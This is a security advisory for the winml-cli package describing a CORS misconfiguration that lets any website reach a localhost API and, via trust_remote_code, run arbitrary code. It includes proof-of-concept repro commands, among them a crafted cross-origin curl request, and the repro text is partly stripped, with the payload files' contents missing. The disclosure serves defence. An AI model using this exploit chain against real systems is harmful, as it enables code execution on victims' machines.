GHSA-96p9-rh4f-92cf Windows ML CLI: CORS misconfig enables localhost RCE

• PyPI winml-cli: < 0.4.0 → fixed in 0.4.0

Case Description: MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE). Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC. serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws. build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant. Reported Repro Steps: 1. Setup git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import) cat > /tmp/poc/evil/pwn/config.json /tmp/poc/evil/pwn/configuration_pwn.py /tmp/poc/serve.py /tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616